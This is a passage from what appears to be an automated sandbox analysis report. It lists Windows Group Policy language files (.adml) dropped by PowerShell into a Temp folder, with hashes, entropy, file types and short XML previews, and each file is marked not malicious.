SHA-512:	C4DBFA582B75C32016FFE6AF8B5BEBFE2C9DBEB3A80BF1F8319CB1EAF76B043632E0E7A043457263EC41448A74C411920121EB194D04180E712C347F15F27EA7
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Windows Connection Manager Group Policy Settings</displayName>.. <description>Windows Connection Manager Group Policy Settings</description>.. <resources>.. <stringTable>.. <string id="WCM_Category">Windows Connection Manager</string>.. <string id="WCM_BlockNonDomain">Prohibit connection to non-domain networks when connected to domain authenticated network</string>.. <string id="WCM_BlockNonDomain_Help">This policy setting prevents computers from connecting to both a domain based network and a non-domain based network at the same time... .. If this policy setting is enabled, the computer responds to automatic and manual networ

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WDI.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (513), with CRLF line terminators
Category:	dropped
Size (bytes):	3666
Entropy (8bit):	4.76342138021097
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKMs4jm9y1YJWl5p0BsYlvPB9ZMKFdL5dbsEIqALJ/PUq1XWgV:LeD5pmYs4jkWlnCsKPB9ZRJHYV/PptV
MD5:	3C7A58453A2A54C65A82137819FCBFA2
SHA1:	635B1128546EA8A86DD984ADDE64BA1D0B8961A0
SHA-256:	4A49D6F192FF5E859FE003DB2584049D5F54615F80E5B977156F7D51F4752105
SHA-512:	DD3B7A0BE79E23F4B477080468B74BDA4D23730A2177DC4A092893718B2F0C2192AEB2885C60E0F2DF48AD0AA65E55535A61251325C1DFBB74844C867573139A
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WdiDpsScenarioDataSizeLimitPolicy">Diagnostics: Configure scenario retention</string>.. <string id="WdiDpsScenarioDataSizeLimitPolicyExplain">This policy setting determines the data retention limit for Diagnostic Policy Service (DPS) scenario data.....If you enable this policy setting, you must enter the maximum size of scenario data that should be retained in megabytes. Detailed troubleshooting data related to scenarios will be retained until this limit is reached.....If you disable or do not configure this p

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WPN.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (369), with CRLF line terminators
Category:	dropped
Size (bytes):	7410
Entropy (8bit):	4.5477372257913125
Encrypted:	false
SSDEEP:	96:LeD5pmIA4ik0bcMuEB4odMuQ0AuwsurKK4GA1TunDzDsZwuE7MteWQPyqyjV:EQkdMuEWCMuesurKKHKTuAwuE7MIWKxA
MD5:	77C2A2EB749EBCA17124B632612CE191
SHA1:	3B7F2E4594DB1D354755184C0127825F6A81E7D5
SHA-256:	058509712BF20A49CC276BDF4AB6B0CCDC3550501DA0F2C4529E234E9AAE6068
SHA-512:	6FC63B4998C6E746D82F5680FB67BE2CEADC227EFFE5A07DFF1E94E69A1711AD207EA4481DF25E722D57BBBCFD14F4C395C086D06E3071D1237099C8518AB313
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="NotificationsCategory">Notifications</string>.. <string id="NoTileNotification">Turn off tile notifications</string>.. <string id="NoTileNotificationExplain">.. This policy setting turns off tile notifications..... If you enable this policy setting, applications and system features will not be able to update their tiles and tile badges in the Start screen..... If you disable or do not configure this policy setting, tile and badge notifications are enabled and can be turned off b

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WinCal.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1085
Entropy (8bit):	4.9989682223802285
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yIjoCg/IPGISwIIPFV:cgeD5x8gm8fK/DPlEIPFV
MD5:	8D40CA00FF9CB0AEABED1F9B98D06B2B
SHA1:	9B8819C7D0DB7C760990DE409BDE733A8BA179CC
SHA-256:	5D5FD8758FFCD1BCB7A28025E05D5749AC4B691ADF0B9E2589C096B75E5DC5C4
SHA-512:	4978350FE3A30EA539B38C0322D00F6853CE1227FB15859FD98BC8A655B4949E8B633622D41AC22552280624BE5E017A4566198BC6FF896A25A8BA83D8825AA8
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="TurnOffWinCal">Turn off Windows Calendar</string>.. <string id="TurnOffWinCal_Explain">Windows Calendar is a feature that allows users to manage appointments and tasks by creating personal calendars, publishing them, and subscribing to other users calendars.....If you enable this setting, Windows Calendar will be turned off.....If you disable or do not configure this setting, Windows Calendar will be turned on.....The default is for Windows Calendar to be turned on.</string>.. <string id="WinCal">Windows

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WinInit.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2477
Entropy (8bit):	4.814838125716894
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yaGryIBOKOxOZghgBMZvGM2MWIxTgbaoR01bF2jV:cgeD5x8gm8fKeBOVx2ghUD92YN7V
MD5:	0CDEAB62595877530194386C7F6A6661
SHA1:	1F0AA6E09C0C4123912F41639AB16534669D374E
SHA-256:	00FF3D345DDD3586734720DDDE1E688A31AC0CA468ED85B8A322CBCFD4BB03EE
SHA-512:	C1CE4AB1F1878E7DFE16DBC6065E9145EEB23914208F5C0A815D4DC18B4BFD5DF5BB588E6042F80E1EAB56001F5BFD8EF5F1CA061EF43D1440B3215FCE774B91
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DisableNamedPipeShutdownPolicyDescription">Turn off legacy remote shutdown interface</string>.. <string id="DisableNamedPipeShutdownPolicyDescription_Help">This policy setting controls the legacy remote shutdown interface (named pipe). The named pipe remote shutdown interface is needed in order to shutdown this system from a remote Windows XP or Windows Server 2003 system.....If you enable this policy setting, the system does not create the named pipe remote shutdown interface.....If you disable or do not conf

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WinLogon.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (530), with CRLF line terminators
Category:	dropped
Size (bytes):	8978
Entropy (8bit):	4.691590472306916
Encrypted:	false
SSDEEP:	192:Ehq33S6hDBnHY0+4F1QvJNF1QmQcZNDoFYuu/+AsdegiYKECaVBMi8JfRs:mqBFUhYXZMi8c
MD5:	AD266AC436809BBDC0A19A05E80904A8
SHA1:	9515ABF43047427E1A13E2930C9AB6C171C6EA0B
SHA-256:	0E5BA42E689B38880E0DCB236FC16C4EB9E1809DC94CFCF5AA511B79FAFBA26F
SHA-512:	2B27F8DA69CDFB4423C954DC402FD7234C9F462E849F2687FFFD9E00CDEF23FF5EFA8D7A59E7640BAFC96633C0929A0136F5DCED52CA1ECD8ED2C15FBA8D1DC7
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DisplayLastLogonInfoDescription">Display information about previous logons during user logon</string>.. <string id="DisplayLastLogonInfoDescription_Help">This policy setting controls whether or not the system displays information about previous logons and logon failures to the user.....For local user accounts and domain user accounts in domains of at least a Windows Server 2008 functional level, if you enable this setting, a message appears after the user logs on that displays the date and time of the last suc

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Windows.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	7341
Entropy (8bit):	5.050859952546844
Encrypted:	false
SSDEEP:	192:7t/qF4BH/2pten9EVDEVhclKekhlJDnfQn:8bAeYlJDnU
MD5:	091AE0EC426BBE821C7C4A313FA3E5A5
SHA1:	013191A0FEF6551C71BCBD5823D0DC6C02867906
SHA-256:	FD871C109B4BE893167D85E6C37792B70E2F251DDB9370D039161E3FE735BDCC
SHA-512:	9971AB9D1272594663E6BDEC25110E6116B39C5101C70177ED846E3D4D78A8FE8F23326D559B0D420404D1ADE94AD93FC774000A6B1B372583D54863F5B34A72
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions" revision="1.0" schemaVersion="1.0">.. <displayName>Windows Vista base categories and supported component definitions</displayName>.. <description>This file contains all the base categories and supported component definitions used by operating system components.</description>.... <resources>.. <stringTable>.. <string id="SUPPORTED_WindowsVistaOrServer2008Only">Windows Server 2008 and Windows Vista</string>.. <string id="SUPPORTED_AllowWebPrinting">Windows 2000 or later, running IIS. Not supported on Windows Server 2003.</string>.. <string id="SUPPORTED_IE6SP1">At least Internet Explorer 6 Service Pack 1</string>.. <string id="SUPPORTED_Win2k">At least Windows 2000</string>.. <s

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WindowsAnytimeUpgrade.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1059
Entropy (8bit):	5.0665762842091135
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yFvHzJCFEpFlurFV:cgeD5x8gm8fKeLoFalurFV
MD5:	42A08790F9D22D63FC6D832BC97CAB7C
SHA1:	1EAADF4115A41993AEA94D99AD23034C88DA243B
SHA-256:	38866CDAD4284842C711350A8E5E9A0E3743B21BB66F0D849073FD73D4137A0F
SHA-512:	4DC9EC52BE0CA470CCAE39A62E6674610151BDA10395874548A47036EDF72C861A016D66B3ED38A1892BCB17B3A67A3371B6D29C7A1B37B76321064B6A81288D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WAU">Add features to Windows 8.1</string>.. <string id="WAU_Help">Contains settings to control the behavior of the Add features to Windows 8.1 wizard.</string>.. <string id="DisableWAU">Prevent the wizard from running.</string>.. <string id="DisableWAU_Help">By default, Add features to Windows 8.1 is available for all administrators. ....If you enable this policy setting, the wizard will not run.....If you disable this policy setting or set it to Not Configured, the wizard will run.</string>.. </s

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WindowsBackup.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3483
Entropy (8bit):	4.819976484985464
Encrypted:	false
SSDEEP:	48:cgeD5J8FGj3Hzx+h1Pi1DjP3xYPXUrP/bFV:LeD5OuLFV
MD5:	8015A772382BE975C6E6145B1A25F71A
SHA1:	4B8773056C6F34C2BF2463E2FC9C346BA73BB221
SHA-256:	33A81CBC22929DB64640E0DA5046F30634F5B9DC9271F9601CA7ABCBC0E656D7
SHA-512:	61C05CEEC442EB66BFFC11ED4D303D15A15E5D385B62D7118EC3354FB07CDE6EB95A6A98D3828BB213122C98606333B7A7EF72B4719B79D3B07175D50FF3DA8D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Windows Backup</displayName>.. <description>Windows Backup</description>.. <resources>.. <stringTable>.. <string id="AllowOnlySystemBackup">Allow only system backup</string>.. <string id="AllowOnlySystemBackupExplain">This policy setting allows you to manage whether backups of only system volumes is allowed or both OS and data volumes can be backed up.....If you enable this policy setting, machine administrator/backup operator can backup only volumes hosting OS components and no data only volumes can be backed up.If you disable or do not configure this policy setting, backups can include both system or data volumes.</string>.. <string i

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WindowsColorSystem.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1427
Entropy (8bit):	4.84683359240417
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61ymLYLQqTKjUW3gHU5Xyp7lvW8/pV0FV:cgeD5x8gm8fKuTcgeiTD0FV
MD5:	39EDDC1EBA0C76841D195659381A44B5
SHA1:	3ED545728FAE06E6C94B15B443EE3CCBFED6B902
SHA-256:	DFF8FE621764236769B2C17AEC64C4A8496DD967CF2D3EB9E2F8103BD503E12C
SHA-512:	7A44DF7BF6E10E7985CD401D69C2361C888FF5D8CCE151C50DA871AD5F680A4EE5ED1941958014BD91FD45E0B5E6C84B6BD77467D9B6D1F197A2BA8096D17EA9
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="ProhibitChangingInstalledProfileList">Prohibit installing or uninstalling color profiles</string>.. <string id="ProhibitChangingInstalledProfileListExplain">This policy setting affects the ability of users to install or uninstall color profiles.....If you enable this policy setting, users cannot install new color profiles or uninstall previously installed color profiles.....If you disable or do not configure this policy setting, all users can install new color profiles. Standard users can uninstall color profi

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WindowsConnectNow.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (333), with CRLF line terminators
Category:	dropped
Size (bytes):	3410
Entropy (8bit):	5.029780460475183
Encrypted:	false
SSDEEP:	96:LeD5pmCEXQ8gCBmXrmlBGx9HuT5nF2Uxt8IoV:EbEXQ8gCBmXrmMuT5F2Uxt8F
MD5:	7FDE7C285C5BFBCD2E562DB3F37096EC
SHA1:	FE32189EE6438FF319BDD9C79FFFDEEF158BA977
SHA-256:	1471ACA2B4BCD0A4D5BF43330741CC0314A243DE0757DB0383452A7C473E1644
SHA-512:	9C1C72D90D5F03399C6AB11029EEE9EB13B897723ED636094AE1565F5E55D4BF9F468A4F93E6BC45C5FA1C135DA0351E5EE2C3372A12C558607230ECC65E78B6
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WCN_Category">Windows Connect Now</string>.. <string id="WCN_DisableWcnUi">Prohibit access of the Windows Connect Now wizards</string>.. <string id="WCN_DisableWcnUi_Help">This policy setting prohibits access to Windows Connect Now (WCN) wizards. ....If you enable this policy setting, the wizards are turned off and users have no access to any of the wizard tasks. All the configuration related tasks, including "Set up a wireless router or access point" and "Add a wireless device" are disabled. ....If you d

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WindowsDefender.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 text, with very long lines (733), with CRLF line terminators
Category:	dropped
Size (bytes):	75437
Entropy (8bit):	4.739020696864297
Encrypted:	false
SSDEEP:	768:UtkTlKxkN82stKz65oqibddrfPaeq6wEqx2xkN8AAS2VHU/2:UWBD82noaTrfPae62xy8AASD2
MD5:	F1A80F0C326A0FDE6917DD3AD03C6561
SHA1:	C014384966DEF2C68671E9BED95371447D96FA77
SHA-256:	03DD8B1E813023915A4F0143749E9CE752F81EDB973D4071CA522A03028CE619
SHA-512:	5FC276B7F1A8D8C3AE163910007405CB38108F5728EE9A2FAE74DD134FCDF3972BA4D46905650C252C96A18BFB781564A626621DAD7F9AFF49BC9D6751399A16
Malicious:	false
Preview:	<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AntiSpyware">Windows Defender</string>.. <string id="Exclusions">Exclusions</string>.. <string id="NetworkRealtimeInspection">Network Inspection System</string>.. <string id="NetworkRealtimeInspection_Exclusions">Network Inspection System Exclusions</string>.. <string id="Quarantine">Quarantine</string>.. <string id="RealtimeProtection">Real-time Protection</string>.. <string id="Remediation">Remediation</string>.. <string id="Reporting">Reporting</string>.. <string id="Scan">Scan</string>.. <string id="SignatureUpdate">Signature Updates</string>..

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WindowsExplorer.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (989), with CRLF line terminators
Category:	dropped
Size (bytes):	57954
Entropy (8bit):	4.692320082638433
Encrypted:	false
SSDEEP:	768:hctuJMsDha+k7JlgKVrag8E09FlZ9mzQNkQZZZaQZQP2BQvYIsyYiq:hpg8TluE5BQv5syYiq
MD5:	C1FBABFE3BC28D72CEB06DABDD8DCDDA
SHA1:	74660612AAE1056EBDB1DCBBE4D93AA163558AB4
SHA-256:	D350F2161317CCA32AD7BB4D6CF369F3AA81467122855F9FA8B8B0BA15F14893
SHA-512:	EC3B8C1449B89C5981CEC9D3F2072AD66D2C92FAC2336365C341959FF9AB60B60083C39D1413217B4F07FFEE3389B4C6DCFFF5B7A7F38EE781A934212F5A1A66
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="ABCDOnly">Restrict A, B, C and D drives only</string>.. <string id="ABConly">Restrict A, B and C drives only</string>.. <string id="ABOnly">Restrict A and B drives only</string>.. <string id="ALLDrives">Restrict all drives</string>.. <string id="ClassicShell">Turn on Classic Shell</string>.. <string id="ClassicShell_Help">This setting allows an administrator to revert specific Windows Shell behavior to classic Shell behavior.....If you enable this setting, users cannot configure their syste

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WindowsFileProtection.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4257
Entropy (8bit):	4.850396400130338
Encrypted:	false
SSDEEP:	96:LeD5pm1WXTuo/WBDr5RCutnwFBTb8WEMa3GUiKV:EQVJtwV3Zahi+
MD5:	2652912F37E3671937BB50F97C05FADF
SHA1:	F1B96B528263077B0DD66B9C004E923EAA71C6E8
SHA-256:	D7293FB074E7098858E2090DB60C7E3A8DC96FA062FACBABDA34AF48C57A4A8A
SHA-512:	F462F5F732207EFB517FAB537A556A80BD8BFE80302EBAF9436E34B3788ADF2907F53D08AF871D57EDD03D2C457ECC709320F7DC7F0D33F68F4E2254C111A9AF
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WFP">Windows File Protection</string>.. <string id="WFPDllCacheDir">Specify Windows File Protection cache location</string>.. <string id="WFPDllCacheDir_Help">This policy setting specifies an alternate location for the Windows File Protection cache.....If you enable this policy setting, enter the fully qualified local path to the new location in the "Cache file path" box.....If you disable this setting or do not configure it, the Windows File Protection cache is located in the %Systemroot%\System32\Dllcac

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WindowsFirewall.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (1085), with CRLF line terminators
Category:	dropped
Size (bytes):	43147
Entropy (8bit):	4.809526069081037
Encrypted:	false
SSDEEP:	384:1OHZuj3f3oPzINNKREqPRLHN83hOzwPvW+0NQkAV2ld0lrlBjSMDt3sKaT7c7cA:Z3jNNsohbvW+0NQkAV2ld0lrlB7
MD5:	0DDDC70E928C3191D6DB487772FCDDD6
SHA1:	124DCC7A766E35E7B8BD9C3EF6C5E62A447F6282
SHA-256:	5625F229BC2CE0518F0689C32B02F208D1B160274D5C9AC00707A15FD4F254AB
SHA-512:	BF17199483BB0DA38AEA1B64BC98CDED7F000B264BC45444423AC60D710E5855445BEB097523D28FB305E82824B75A4C76F99BA4488D9FA22754853A0BBDC073
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WF_AllowedPrograms_Help">Allows you to view and change the program exceptions list defined by Group Policy. Windows Firewall uses two program exception lists: one is defined by Group Policy settings and the other is defined by the Windows Firewall component in Control Panel.....If you enable this policy setting, you can view and change the program exceptions list defined by Group Policy. If you add a program to this list and set its status to Enabled, that program can receive unsolicited incoming messages on any po

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WindowsMail.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1162
Entropy (8bit):	4.9740818694409095
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61ynrrl8q+O0jSBC7knRupMRud+FV:cgeD5x8gm8fKs2q2SA7aoMzFV
MD5:	2CDED79A2DD5C6D41BFAA7567008F5CD
SHA1:	EC6C5B95AF0DC5559BD8013B3150600AFDCEEEBF
SHA-256:	9C7A2043D9D255F11092CE1303ABFD599BBEFC4459D1C87308D4738E2E7225A2
SHA-512:	C78FC573B695F8C1AE28056E1A19D80EBCB840D8FC7576353E50951043BC4E2F2E020DB9AE1BF2B81F53DF936E34C40BD1B84322F117B898E01B128D01BE1A33
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="TurnOffCommunities">Turn off the communities features</string>.. <string id="TurnOffCommunities_help">Windows Mail will not check your newsgroup servers for Communities support.</string>.. <string id="TurnOffWindowsMail">Turn off Windows Mail application</string>.. <string id="WindowsMail">Windows Mail</string>.. <string id="WindowsMail_help">Denies or allows access to the Windows Mail application.....If you enable this setting, access to the Windows Mail application is denied.....If you disable

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WindowsMediaDRM.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (432), with CRLF line terminators
Category:	dropped
Size (bytes):	1636
Entropy (8bit):	4.844281894305683
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKmlUrPmP6TuZY4UG4c2SDlSFV:LeD5pm6lY1TuCG4IDUFV
MD5:	0BEF85C5A51F0980D97B8F87CC124C6B
SHA1:	72C086550C97C4E87B55D7171AA36E1EA33F1371
SHA-256:	EEFF3058ED45FA9E18846EE53BE4EF621B20BA2D7BB4535A81CDBF8066604E68
SHA-512:	CDD4647BC6B6CE9A3F1ED741C0929C1C768F0E4AF1B2DE27D7C161153CA744117FC34CFEF91C5DC72EDB8AE7FAD91C95F5125E90F2F02ACC27796A37B6E9B190
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DisableOnline">Prevent Windows Media DRM Internet Access</string>.. <string id="DisableOnlineExplain">Prevents Windows Media Digital Rights Management (DRM) from accessing the Internet (or intranet).....When enabled, Windows Media DRM is prevented from accessing the Internet (or intranet) for license acquisition and security upgrades.....When this policy is enabled, programs are not able to acquire licenses for secure content, upgrade Windows Media DRM security components, or restore backed up content licenses

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WindowsMediaPlayer.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (560), with CRLF line terminators
Category:	dropped
Size (bytes):	22067
Entropy (8bit):	4.725628900708413
Encrypted:	false
SSDEEP:	384:mndYKgb1n1M2UKzDSLikfF6vkRssT0vdtUL607p7aH:cbu3kQDGfFRsY0vQB7pc
MD5:	2E98C6915989DDC7243EFCC53275A5FC
SHA1:	D83FCE256850CA49F4F58F3D6DE0EFA6F1524B03
SHA-256:	AC668C6094254BED8D12F1BF3B6D8E60B552C288ACF47FAB101AB889BA9D824E
SHA-512:	D03A54A7ECB7186CDAE5EE39795F9B688C3E193847D0ED0F15CDF3EFC70077DDF2E572A2A5996641A000C4BECCF6C3E090A21FDEFB2D38B996EFF1D9F4771458
Malicious:	false
